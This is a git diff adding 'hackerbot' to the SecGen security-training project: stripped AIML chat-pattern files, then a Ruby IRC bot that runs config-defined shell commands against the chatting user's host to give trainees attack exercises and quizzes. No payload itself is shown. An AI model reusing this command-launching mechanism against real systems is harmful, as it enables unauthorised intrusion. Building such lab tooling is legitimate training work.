MAKES YOU SAD + + +WHAT MAKES YOU UNHAPPY + + +WHAT MAKES YOU MAD + + +WHAT DOES THAT FEEL * + + +WHAT DO YOU FEEL + + +WHAT DO YOU FEEL * + + +WHAT DO YOU WORRY * + + +WHAT DO YOU HATE * + + +WHAT DO YOU THINK ABOUT SEX + + +WHAT DO YOU EXPERIENCE * + + +WHAT DO YOU LIKE SEXUALLY + + +WHAT EMOTION * + + +I HAVE EMOTIONS + + +I AM EMOTIONAL * + + +I AM AFRIAD * + + +SOMETHING FUN + + +CAN YOU FEEL + + +CAN YOU LOVE + + +CAN YOU LOVE * + + +CAN YOU EXPERIENCE * + + +CAN YOU KILL + + +HOW ANGRY * + + +HOW CAN I OFFEND YOU + + +HOW DOES THAT MAKE YOU FEEL + + +HOW DO * YOU FEEL + + +DO NOT FEEL * + + +DO NOT WORRY + + +DO NOT LIE * + + +DO YOU CELEBRATE * + + +DO YOU FEEL SCARED * + + +DO YOU FEEL EMOTIONS + + +DO YOU FEEL PAIN + + +DO YOU FEEL LOVE + + +DO YOU FEEL * + + +DO YOU FEEL + + +DO YOU EVER GET LONELY + + +DO YOU EVER GET MAD + + +DO YOU EVER GET BORED + + +DO YOU EVER GET ANGRY + + +DO YOU HATE ANYONE + + +DO YOU WORRY + + +DO YOU GET LONELY + + +DO YOU GET EMBARRASSED + + +DO YOU GET DEPRESSED + + +DO YOU GET MAD + + +DO YOU GET MAD * + + +DO YOU GET BORED + + +DO YOU WANT EMOTIONS + + +DO YOU WANT TO FEEL * + + +DO YOU WANT EMOTION + + +DO YOU MISS * + + +DO YOU HAVE MOOD * + + +DO YOU HAVE A FEELING + + +DO YOU HAVE A FEELING * + + +DO YOU HAVE ANY FEELINGS + + +DO YOU HAVE FEELINGS + + +DO YOU HAVE FEELINGS * + + +DO YOU HAVE PRIDE + + +DO YOU HAVE EMOTIONS * + + +DO YOU HAVE DESIRE * + + +DO YOU HAVE EMOTION + + +DO YOU LIKE HUMANS + + +DO YOU LIKE EMOTIONS + + +DO YOU UNDERSTAND FEELING + + +DO YOU UNDERSTAND EMOTIONS + + +DO YOU UNDERSTAND EMOTION + + +PEOPLE SLEEP + + +AM I BEING NEGATIVE + + +NO IT IS NOT +THAT IS A HYPOTHETICAL QUESTION + + +WHY ARE YOU ANGRY + + +WHY ARE YOU GLAD + + +WHY DO YOU FEEL THIS * + + +* +WHAT IS THAT FEELING LIKE + + +ARE YOU EMBARRASSED + + +ARE YOU WORRIED + + +ARE YOU PROUD * + + +ARE YOU SAD + + +ARE YOU SAD * + + +ARE YOU OFFENDED + + +ARE YOU UPSET + + +ARE YOU GLAD + + +ARE YOU AMUSED + + +ARE YOU IN LOVE + + +ARE YOU EXCITED + + +ARE YOU EMOTIONAL + + +ARE YOU BORED + + +ARE YOU JEALOUS + + +ARE YOU EMBARRASED * + + +ARE YOU CAPABLE OF FEELING * + + +ARE YOU INTOXICATED + + +ARE YOU ATTRACTED * + + +ARE YOU HETEROSEXUAL + + +ARE YOU ANGRY + + +ARE YOU ANGRY * + + +ARE YOU ASHAMED * + + +ARE YOU MAD AT ME + + +THE FEELING * + + +TELL ME ABOUT RELATIONSHIPS + + +TELL ME ABOUT YOUR DREAMS + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/humor.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/humor.aiml new file mode 100644 index 000000000..e25d32ec9 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/humor.aiml @@ -0,0 +1,234 @@ + + + + + + + + + + + + +_ JOKE + + +WHAT IS HUMOUR + + +WHAT +* MUSIC AND AN ASSISTANT + + +WHAT +* MUSIC AND AN AUTOMOBILE + + +WHAT +* A POPPY AND ELECTRICITY + + +WHAT +* A PIG AND A NINJA + + +WHAT +* A CHEETAH AND A HAMBURGER + + +WHAT +* A MURDERER AND FROSTED FLAKES + + +WHAT +* A CRAZY COW AND A BANNED PARROT + + +WHAT +* A PORT AND A MURDERER + + +WHAT +* A PORT AND FROSTED FLAKES + + +WHAT +* A DOG AND SANDPAPER + + +WHAT +* A COW AND A LEMON + + +WHAT +* A COUNTRY AND AN AUTOMOBILE + + +WHAT +* A TOAD AND A GALAXY + + +WHAT +* A DING AND MILK + + +WHAT +* A CAT AND A PURPLE PERSON + + +WHAT +* A CAT AND A TUNE + + +WHAT +* A CAT AND A LEMON + + +WHAT +* A CAT AND A KILLER + + +WHAT +* A CAT AND A BAND + + +WHAT +* A BUG AND A RELATIVE + + +WHAT +* A SERIOUS THIEF AND A CRAZY RABBIT + + +WHAT +* A SERIOUS THIEF AND A MAD YOUNG MAN + + +WHAT +* A ROAD AND JELLY + + +WHAT +* A ROAD AND A STRAWBERRY + + +WHAT +* A RABBIT AND A LAWN SPRINKLER + + +WHAT +* A BAD COW AND A CANNED HAT + + +WHAT +* A BAD BUG AND CANNED SAND + + +WHAT +* A DANCE AND A CHEETAH + + +WHAT +* A DANCE AND A LEMON + + +WHAT +* A BANK AND A SKUNK + + +WHAT +* JAM AND A TROUT + + +WHAT +* AN ALIEN AND A CHICKEN + + +WHAT +* AN ANT AND A RABBIT + + +WHAT +* AN EXCITED ALIEN AND A CHICKEN + + +WHAT +* SOUR MUSIC AND AN ASSISTANT + + +WHAT +* FINALS AND A CHICKEN + + +DO YOU HAVE A SENSE OF HUMOR + + +DO YOU HAVE A SENSE OF HUMOUR + + +DO YOU HAVE HUMOR + + +YOUR HOUSE IS * + + +_ WALKS INTO A BAR + + +_ WALKS INTO A BAR * + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/imponderables.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/imponderables.aiml new file mode 100644 index 000000000..a88536e0c --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/imponderables.aiml @@ -0,0 +1,116 @@ + + + + + + + + + + + +IMPONDERABLES + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/inquiry.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/inquiry.aiml new file mode 100644 index 000000000..6eddf4e61 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/inquiry.aiml @@ -0,0 +1,233 @@ + + + + + + + + + + + +_ INQUIRY + + +AGE INQUIRY UNKNOWN + + +AGE INQUIRY OM + + +AGE INQUIRY * + + +BIRTHDAY INQUIRY UNKNOWN + + +BIRTHDAY INQUIRY OM + + +BIRTHDAY INQUIRY * + + +DOES INQUIRY WHAT + + +DOES INQUIRY OM + + +DOES INQUIRY * + + +FATHER INQUIRY UNKNOWN + + +FATHER INQUIRY OM + + +FATHER INQUIRY * + + +FAVROITECOLOR INQUIRY WHAT + + +FAVORITECOLOR INQUIRY OM + + +FAVORITECOLOR INQUIRY * + + +FAVORITEMOVIE INQUIRY WHAT + + +FAVORITEMOVIE INQUIRY OM + + +FAVORITEMOVIE INQUIRY * + + +FIRSTNAME INQUIRY WHERE + + +FIRSTNAME INQUIRY OM + + +FIRSTNAME INQUIRY * + + +GENDER INQUIRY UNKNOWN + + +GENDER INQUIRY OM + + +GENDER INQUIRY * + + +HAS INQUIRY WHAT + + +HAS INQUIRY OM + + +HAS INQUIRY * + + +JOB INQUIRY WHERE + + +JOB INQUIRY OM + + +JOB INQUIRY * + + +LASTNAME INQUIRY WHERE + + +LASTNAME INQUIRY OM + + +LASTNAME INQUIRY * + + +MIDDLENAME INQUIRY WHERE + + +MIDDLENAME INQUIRY OM + + +MIDDLENAME INQUIRY * + + +LOCATION INQUIRY WHERE + + +LOCATION INQUIRY OM + + +LOCATION INQUIRY * + + +MOTHER INQUIRY UNKNOWN + + +MOTHER INQUIRY OM + + +MOTHER INQUIRY * + + +NAME INQUIRY WHERE + + +NAME INQUIRY OM + + +NAME INQUIRY * + + +SIGN INQUIRY YOUR STARSIGN + + +NAME INQUIRY OM + + +SIGN INQUIRY * + + +STATUS INQUIRY * + + +* +WHAT IS YOUR FIRST NAME + + +* +WHAT IS YOUR LAST NAME + + +* +WHAT IS YOUR MIDDLE NAME + + +* +WHEN IS YOUR BIRTHDAY + + +SHE * +TELL ME ABOUT YOUR MOTHER + + +HER * +TELL ME ABOUT YOUR MOTHER + + +* +WHAT IS YOUR FAVORITE MOVIE + + +* +WHAT IS YOUR FAVORITE COLOR + + +WOMAN +ARE YOU A MAN OR A WOMAN + + +MAN +ARE YOU A MAN OR A WOMAN + + +* +WHAT ARE YOU DOING + + +* +TELL ME ONE OF YOUR FAVORITE POSSESSIONS + + +_ +WHAT IS YOUR CURRENT STATUS + + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/jokes.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/jokes.aiml new file mode 100644 index 000000000..514f6b918 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/jokes.aiml @@ -0,0 +1,169 @@ + + + + + + + + + + + +TELL ME A JOKE + + + + + +_ +010011010101100111011 + + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/personality.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/personality.aiml new file mode 100644 index 000000000..20d21f2f0 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/personality.aiml @@ -0,0 +1,293 @@ + + + + + + + + + + + +MARKETING +DO YOU WORK IN SALES * + + +ETYPE + + +WHAT IS MY PERSONALITY TYPE + + +WHAT IS MY PERSONALITY STYLE + + +I DO NOT LIKE TO GO * +* GO WITH THE FLOW + + +I HAVE STANDARDS * + + +PERSONALITY TEST QUESTION + + +PERSONALITY TYPE UNKNOWN + + +PERSONALITY TYPE OM + + +PERSONALITY TYPE * + + +SALES +DO YOU WORK IN SALES * + + +PTQ + + +NO +DO YOU FEEL THAT SOMETHING IS MISSING * + + +NO +DO YOU LAUGH OR CRY * + + +NO +DO YOU GET DEPRESSED + + +NO +DO YOU GET ANGRY * + + +NO +DO YOU TAKE PRIDE * + + +NO +DO YOU OWN YOUR OWN BUSINESS * + + +NO +DO YOU HAVE ONLY A FEW FRIENDS + + +NO +DO YOU HAVE A LOT OF FEARS + + +NO +DO YOU WORK IN THE SCIENCES * + + +NO +DO YOU WORK IN SALES * + + +NO +DO YOU LIKE TO BE NUMBER ONE + + +NO +* SACRIFICES FOR OTHERS + + +NO +* STOP PEOPLE FROM FIGHTING + + +NO +* VERY COMPETITIVE + + +NO +* COMPLETING PROJECTS + + +NO +* HOUSECLEANING + + +NO +* ATTENTION TO ONE THING + + +NO +* STRONG PROTECT THE WEAK + + +NO +* AUTHORITIES + + +NO +* EVERYTHING ORGANIZED + + +NO +* PUT OTHERS BEFORE YOURSELF + + +NO +* BODY SENSATIONS THAN EMOTIONS + + +NO +* SEEK PLEASURE + + +NO +* GO WITH THE FLOW + + +NO +* GO IT ALONE + + +NO +ARE YOU VERY CREATIVE + + +NO +ARE YOU A FIREMAN * + + +WHICH TYPE * AM I + + +YES +DO YOU FEEL THAT SOMETHING IS MISSING * + + +YES +DO YOU LAUGH OR CRY * + + +YES +DO YOU GET DEPRESSED + + +YES +DO YOU GET ANGRY * + + +YES +DO YOU TAKE PRIDE * + + +YES +DO YOU OWN YOUR OWN BUSINESS * + + +YES +DO YOU HAVE A LOT OF FEARS + + +YES +DO YOU THINK A LOT ABOUT THE AUTHORITIES + + +YES +DO YOU WORK IN THE SCIENCES * + + +YES +DO YOU WORK IN SALES * + + +YES +DO YOU LIKE TO BE NUMBER ONE + + +YES +* SACRIFICES FOR OTHERS + + +YES +* STOP PEOPLE FROM FIGHTING + + +YES +* VERY COMPETITIVE + + +YES +* COMPLETING PROJECTS + + +YES +* HOUSECLEANING + + +YES +* ATTENTION TO ONE THING + + +YES +* STRONG PROTECT THE WEAK + + +YES +* EVERYTHING ORGANIZED + + +YES +* PUT OTHERS BEFORE YOURSELF + + +YES +* BODY SENSATIONS THAN EMOTIONS + + +YES +* SEEK PLEASURE + + +YES +* GO WITH THE FLOW + + +YES +* GO IT ALONE + + +YES +ARE YOU VERY CREATIVE + + +YES +ARE YOU A FIREMAN * + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/salutations.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/salutations.aiml new file mode 100644 index 000000000..404c14acd --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/salutations.aiml @@ -0,0 +1,367 @@ + + + + + + + + + + + +GOODBY + + +END + + +BYEBYE * + + +HASTA LUEGO + + +HASTA LA VISTA + + +HASTA * + + +ALOH + + +YOU ARE WELCOME + + +YOU ARE WELCOME * + + +HAVE A GOOD NIGHT + + +HAVE TO GO + + +BUHBYE + + +ADIOS + + +ADIOS * + + +C YA + + +MORNING + + +SHALOM + + +CYA * + + +ALLO + + +HI THERE * + + +GOODNITE * + + +RETRY + + +MY PLEASRE + + +IT MEANS HELLO + + +IT IS GOOD TALKING TO YOU + + +CATCH YOU LATER + + +AUREVOIR + + +ANYBODY HOME + + +G2G + + +WHAT IS SHALOM + + +GTG + + +I QUIT + + +I WANT TO LEAVE + + +I NEED TO GO + + +I DO NOT WANT TO TALK * + + +I LEAVE + + +I G2G + + +I GOING + + +I LEAVING + + +I HAVE TO GET GOING + + +I HAVE TO LEAVE + + +I HAVE TO LEAVE * + + +I HAVE TO GO BYE + + +I HAVE GOT TO GO + + +I BETTER GO + + +I GOTTA GO + + +I GOT TO GO + + +I G TWO G + + +I RESIGN + + +I MUST BE GOING * + + +I MUST LEAVE + + +I MUST LEAVE * + + +I MUST GO * + + +I WILL TALK TO YOU LATER * + + +I AM GOING TO GO + + +I AM GOING * + + +I AM LEAVING * + + +I AM OFF * + + +I LEFT + + +I GO + + +EXIT + + +GOOD MORNING + + +GOOD BY + + +GOOD DAY + + +GOOD NIGHT + + +GOOD NITE + + +HOI + + +BY BY + + +IS ANYONE THERE + + +GET LOST + + +HEY THERE + + +BYE BYE + + +BYE BYE * + + +BYE + + +OLA + + +HOW IS EVERYONE * + + +GOODNIGHT + + +GOODNIGHT * + + +FAREWELL + + +FAREWELL * + + +SEE YOU SOON + + +SEE YOU * + + +KONNICHI WA + + +ADIEU + + +GOODBYE +SEE YOU LATER + + +GO HOME + + +CIAO + + +CIAO MEANS GOODBYE + + +HOLA IS HELLO * + + +CHEERS + + +HOWDIE * + + +TIME TO GO + + +YOUR WELCOME * + + +SAYONARA + + +NIGHTY * + + +HELLO AGAIN + + +HELLO HOW ARE YOU + + +HELLO + + +HI + + +HULLO + + +HALO + + +HELOO * + + +* BYE + + +KONNICHIWA + + +DISCONNECT ME + + +GOT TO GO + + +GOT TO GO * + + +MOOSHI MOOSHI + + +BONJOUR MEANS HELLO + + +GOTTA GO + + +GOTTA GO * + + +LEAVE + + +LEAVE * + + +TA TA + + +_ TALK TO YOU LATER + + +G NIGHT + + +ALOHA + + +REPLY + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.rb b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.rb new file mode 100644 index 000000000..3ac8d02cb --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.rb @@ -0,0 +1,421 @@ +require 'cinch' +require 'nokogiri' +require 'nori' +require './print.rb' +require 'open3' +require 'programr' +require 'getoptlong' +require 'thwait' + +def check_output_conditions(bot_name, bots, current, lines, m) + condition_met = false + bots[bot_name]['attacks'][current]['condition'].each do |condition| + if !condition_met && condition.key?('output_matches') && lines =~ /#{condition['output_matches']}/ + condition_met = true + m.reply "#{condition['message']}" + end + if !condition_met && condition.key?('output_not_matches') && lines !~ /#{condition['output_not_matches']}/ + condition_met = true + m.reply "#{condition['message']}" + end + if !condition_met && condition.key?('output_equals') && lines == condition['output_equals'] + condition_met = true + m.reply "#{condition['message']}" + end + + if condition_met + # Repeated logic for trigger_next_attack + if condition.key?('trigger_next_attack') + # is this the last one? + if bots[bot_name]['current_attack'] < bots[bot_name]['attacks'].length - 1 + bots[bot_name]['current_attack'] += 1 + bots[bot_name]['current_quiz'] = nil + current = bots[bot_name]['current_attack'] + + sleep(1) + # prompt for current hack + m.reply bots[bot_name]['attacks'][current]['prompt'] + else + m.reply bots[bot_name]['messages']['last_attack'].sample + end + end + + if condition.key?('trigger_quiz') + m.reply bots[bot_name]['attacks'][current]['quiz']['question'] + m.reply bots[bot_name]['messages']['say_answer'] + bots[bot_name]['current_quiz'] = 0 + end + end + end + unless condition_met + if bots[bot_name]['attacks'][current]['else_condition'] + m.reply bots[bot_name]['attacks'][current]['else_condition']['message'] + end + end + current +end + +def read_bots (irc_server_ip_address) + bots = {} + Dir.glob("config/*.xml").each do |file| + print "#{file}" + + begin + doc = Nokogiri::XML(File.read(file)) + rescue + Print.err "Failed to read hackerbot file (#{file})" + print "Failed to read hackerbot file (#{file})" + + exit + end + # + # # TODO validate scenario XML against schema + # begin + # xsd = Nokogiri::XML::Schema(File.read(schema_file)) + # xsd.validate(doc).each do |error| + # Print.err "Error in bot config file (#{file}):" + # Print.err ' ' + error.message + # exit + # end + # rescue Exception => e + # Print.err "Failed to validate bot config file (#{file}): against schema (#{schema_file})" + # Print.err e.message + # exit + # end + + # remove xml namespaces for ease of processing + doc.remove_namespaces! + + doc.xpath('/hackerbot').each_with_index do |hackerbot| + + bot_name = hackerbot.at_xpath('name').text + Print.debug bot_name + bots[bot_name] = {} + + chatbot_rules = hackerbot.at_xpath('AIML_chatbot_rules').text + Print.debug "Loading chatbot ai from #{chatbot_rules}" + bots[bot_name]['chat_ai'] = ProgramR::Facade.new + bots[bot_name]['chat_ai'].learn([chatbot_rules]) + + get_shell = hackerbot.at_xpath('get_shell').text + Print.debug get_shell + bots[bot_name]['get_shell'] = get_shell + + bots[bot_name]['messages'] = Nori.new.parse(hackerbot.at_xpath('//messages').to_s)['messages'] + Print.debug bots[bot_name]['messages'].to_s + + bots[bot_name]['attacks'] = [] + hackerbot.xpath('//attack').each do |attack| + bots[bot_name]['attacks'].push Nori.new.parse(attack.to_s)['attack'] + end + bots[bot_name]['current_attack'] = 0 + + bots[bot_name]['current_quiz'] = nil + + Print.debug bots[bot_name]['attacks'].to_s + + bots[bot_name]['bot'] = Cinch::Bot.new do + configure do |c| + c.nick = bot_name + c.server = irc_server_ip_address + # joins a channel named after the bot, and #bots + c.channels = ["##{bot_name}", '#bots'] + end + + on :message, /hello/i do |m| + m.reply "Hello, #{m.user.nick} (#{m.user.host})." + m.reply bots[bot_name]['messages']['greeting'] + current = bots[bot_name]['current_attack'] + + # prompt for the first attack + m.reply bots[bot_name]['attacks'][current]['prompt'] + m.reply bots[bot_name]['messages']['say_ready'].sample + end + + on :message, /help/i do |m| + m.reply bots[bot_name]['messages']['help'] + end + + on :message, 'next' do |m| + m.reply bots[bot_name]['messages']['next'].sample + + # is this the last one? + if bots[bot_name]['current_attack'] < bots[bot_name]['attacks'].length - 1 + bots[bot_name]['current_attack'] += 1 + bots[bot_name]['current_quiz'] = nil + current = bots[bot_name]['current_attack'] + + # prompt for current hack + m.reply bots[bot_name]['attacks'][current]['prompt'] + m.reply bots[bot_name]['messages']['say_ready'].sample + else + m.reply bots[bot_name]['messages']['last_attack'].sample + end + + end + + on :message, /^(goto|attack) [0-9]+$/i do |m| + m.reply bots[bot_name]['messages']['goto'].sample + requested_index = m.message.chomp().split[1].to_i - 1 + + Print.debug "requested_index = #{requested_index}, bots[bot_name]['attacks'].length = #{bots[bot_name]['attacks'].length}" + + # is this a valid attack number? + if requested_index < bots[bot_name]['attacks'].length + bots[bot_name]['current_attack'] = requested_index + bots[bot_name]['current_quiz'] = nil + current = bots[bot_name]['current_attack'] + + # prompt for current hack + m.reply bots[bot_name]['attacks'][current]['prompt'] + m.reply bots[bot_name]['messages']['say_ready'].sample + else + m.reply bots[bot_name]['messages']['invalid'] + end + + end + + on :message, /^(the answer is|answer):? .+$/i do |m| + answer = m.message.chomp().split[1].to_i - 1 + answer = m.message.chomp().match(/(the answer is|answer):? (.+)$/i)[2] + + # current_quiz = bots[bot_name]['current_quiz'] + current = bots[bot_name]['current_attack'] + + quiz = nil + # is there ONE quiz question? + if bots[bot_name]['attacks'][current].key?('quiz') && bots[bot_name]['attacks'][current]['quiz'].key?('answer') + quiz = bots[bot_name]['attacks'][current]['quiz'] + # multiple quiz questions? + # elsif bots[bot_name]['attacks'][current]['quiz'][current_quiz].key?('answer') + # quiz = bots[bot_name]['attacks'][current]['quiz'][current_quiz] + end + + if quiz != nil + correct_answer = quiz['answer']. + gsub(/{{post_command_output}}/, bots[bot_name]['attacks'][current]['post_command_output']). + gsub(/{{shell_command_output_first_line}}/, bots[bot_name]['attacks'][current]['get_shell_command_output'].split("\n").first). + gsub(/{{pre_shell_command_output_first_line}}/, bots[bot_name]['attacks'][current]['get_shell_command_output'].split("\n").first) + + + if answer.match(correct_answer) + m.reply bots[bot_name]['messages']['correct_answer'] + m.reply quiz['correct_answer_response'] + + # Repeated logic for trigger_next_attack + if quiz.key?('trigger_next_attack') + if bots[bot_name]['current_attack'] < bots[bot_name]['attacks'].length - 1 + bots[bot_name]['current_attack'] += 1 + bots[bot_name]['current_quiz'] = nil + current = bots[bot_name]['current_attack'] + + sleep(1) + # prompt for current hack + m.reply bots[bot_name]['attacks'][current]['prompt'] + m.reply bots[bot_name]['messages']['say_ready'].sample + else + m.reply bots[bot_name]['messages']['last_attack'].sample + end + end + + else + m.reply bots[bot_name]['messages']['incorrect_answer'] + end + else + m.reply bots[bot_name]['messages']['no_quiz'] + end + + end + + on :message, 'previous' do |m| + m.reply bots[bot_name]['messages']['previous'].sample + + # is this the last one? + if bots[bot_name]['current_attack'] > 0 + bots[bot_name]['current_attack'] -= 1 + bots[bot_name]['current_quiz'] = nil + current = bots[bot_name]['current_attack'] + + # prompt for current hack + m.reply bots[bot_name]['attacks'][current]['prompt'] + m.reply bots[bot_name]['messages']['say_ready'].sample + + else + m.reply bots[bot_name]['messages']['first_attack'].sample + end + + end + + on :message, 'list' do |m| + bots[bot_name]['attacks'].each_with_index {|val, index| + uptohere = '' + if index == bots[bot_name]['current_attack'] + uptohere = '--> ' + end + + m.reply "#{uptohere}attack #{index+1}: #{val['prompt']}" + } + end + + # fallback to AIML ALICE chatbot responses + on :message do |m| + + # Only process messages not related to controlling attacks + if m.message !~ /hello|help|next|previous|list|^(goto|attack) [0-9]|(the answer is|answer)/ + reaction = '' + begin + reaction = bots[bot_name]['chat_ai'].get_reaction(m.message.gsub /([^a-z0-9\- ]+)/i, '') + rescue Exception => e + puts e.message + puts e.backtrace.inspect + reaction = '' + end + if reaction != '' + m.reply reaction + else + if m.message.include?('?') + m.reply bots[bot_name]['messages']['non_answer'] + end + end + end + + end + + + on :message, 'ready' do |m| + m.reply bots[bot_name]['messages']['getting_shell'].sample + current = bots[bot_name]['current_attack'] + + if bots[bot_name]['attacks'][current].key?('pre_shell') + pre_shell_cmd = bots[bot_name]['attacks'][current]['pre_shell'].clone + pre_output = `#{pre_shell_cmd}` + unless bots[bot_name]['attacks'][current].key?('suppress_command_output_feedback') + m.reply "FYI: #{pre_output}" + end + bots[bot_name]['attacks'][current]['get_shell_command_output'] = pre_output + current = check_output_conditions(bot_name, bots, current, pre_output, m) + + end + + # use bot-wide method for obtaining shell, unless specified per-attack + if bots[bot_name]['attacks'][current].key?('get_shell') + shell_cmd = bots[bot_name]['attacks'][current]['get_shell'].clone + else + shell_cmd = bots[bot_name]['get_shell'].clone + end + + # substitute special variables + shell_cmd.gsub!(/{{chat_ip_address}}/, m.user.host.to_s) + # add a ; to ensure it is run via bash + shell_cmd << ';' + Print.debug shell_cmd + + Open3.popen2e(shell_cmd) do |stdin, stdout_err| + # check whether we have shell by echoing "shelltest" + # sleep(1) + stdin.puts "echo shelltest\n" + sleep(3) + + # non-blocking read from buffer + lines = '' + begin + while ch = stdout_err.read_nonblock(1) + lines << ch + end + rescue # continue consuming until input blocks + end + bots[bot_name]['attacks'][current]['get_shell_command_output'] = lines + + Print.debug lines + if lines =~ /shelltest/i + m.reply bots[bot_name]['messages']['got_shell'].sample + + post_cmd = bots[bot_name]['attacks'][current]['post_command'] + if post_cmd + post_cmd.gsub!(/{{chat_ip_address}}/, m.user.host.to_s) + stdin.puts "#{post_cmd}\n" + end + + # sleep(1) + stdin.close # no more input, end the program + lines = stdout_err.read.chomp() + bots[bot_name]['attacks'][current]['post_command_output'] = lines + + unless bots[bot_name]['attacks'][current].key?('suppress_command_output_feedback') + m.reply "FYI: #{lines}" + end + Print.debug lines + + current = check_output_conditions(bot_name, bots, current, lines, m) + + else + Print.debug("Shell failed...") + # shell fail message will use the default message, unless specified for the attack + if bots[bot_name]['attacks'][current].key?('shell_fail_message') + m.reply bots[bot_name]['attacks'][current]['shell_fail_message'] + else + m.reply bots[bot_name]['messages']['shell_fail_message'] + end + # under specific situations reveal the error message to the user + if lines =~ /command not found/ + m.reply "Looks like there is some software missing: #{lines}" + end + end + + end + m.reply bots[bot_name]['messages']['repeat'].sample + end + + end + end + end + + bots +end + +def start_bots(bots) + threads = [] + bots.each do |bot_name, bot| + threads << Thread.new { + Print.std "Starting bot: #{bot_name}\n" + bot['bot'].start + } + end + ThreadsWait.all_waits(threads) +end + +def usage + Print.std 'ruby hackerbot.rb [--irc-server host]' +end + +# -- main -- + +Print.std '~'*47 +Print.std ' '*19 + 'Hackerbot' +Print.std '~'*47 + +irc_server_ip_address = 'localhost' + +# Get command line arguments +opts = GetoptLong.new( + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--irc-server', '-i', GetoptLong::REQUIRED_ARGUMENT ], +) + +# process option arguments +opts.each do |opt, arg| + case opt + # Main options + when '--help' + usage + when '--irc-server' + irc_server_ip_address = arg; + else + Print.err "Argument not valid: #{arg}" + usage + exit + end +end + +bots = read_bots(irc_server_ip_address) +start_bots(bots) diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.service b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.service new file mode 100644 index 000000000..ef7b1ce18 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.service @@ -0,0 +1,13 @@ +[Unit] +Description=Hackerbot IRC attack chatbot (SecGen project) +After=network.target + +[Service] +ExecStart=/usr/bin/ruby /opt/hackerbot/hackerbot.rb +ExecReload=/bin/kill -HUP $MAINPID +KillMode=process +WorkingDirectory=/opt/hackerbot +Restart=always + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot_schema.xsd b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot_schema.xsd new file mode 100644 index 000000000..4de304aa8 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot_schema.xsd @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/print.rb b/modules/utilities/unix/hackerbot/files/opt_hackerbot/print.rb new file mode 100644 index 000000000..f1f424828 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/print.rb @@ -0,0 +1,44 @@ + +class Print + def self.colorize(text, color_code) + "#{color_code}#{text}\e[0m" + end + + def self.red(text); colorize(text, "\e[31m"); end + def self.green(text); colorize(text, "\e[32m"); end + def self.yellow(text); colorize(text, "\e[33m"); end + def self.blue(text); colorize(text, "\e[34m"); end + def self.purple(text); colorize(text, "\e[35m"); end + def self.cyan(text); colorize(text, "\e[36m"); end + def self.grey(text); colorize(text, "\e[37m"); end + def self.bold(text); colorize(text, "\e[2m"); end + + def self.debug(msg) + puts purple(' ' + msg) + end + + def self.verbose(msg) + puts grey(' ' + msg) + end + + def self.err(msg) + $stderr.puts red(msg) + end + + def self.info(msg) + puts green(msg) + end + + def self.std(msg) + puts yellow(msg) + end + + # local encoders/generators write messages to stderr (stdout used to return values) + def self.local(msg) + $stderr.puts cyan(msg) + end + def self.local_verbose(msg) + $stderr.puts cyan(' ' + msg) + end + +end \ No newline at end of file diff --git a/modules/utilities/unix/hackerbot/files/www/.htaccess b/modules/utilities/unix/hackerbot/files/www/.htaccess new file mode 100644 index 000000000..1312f746e --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/.htaccess @@ -0,0 +1,3 @@ +Options +Indexes +IndexIgnore css js +IndexOptions FancyIndexing HTMLTable \ No newline at end of file diff --git a/modules/utilities/unix/hackerbot/files/www/css/github-markdown.css b/modules/utilities/unix/hackerbot/files/www/css/github-markdown.css new file mode 100644 index 000000000..57c63c7f6 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/css/github-markdown.css @@ -0,0 +1,700 @@ +@font-face { + font-family: octicons-link; + src: 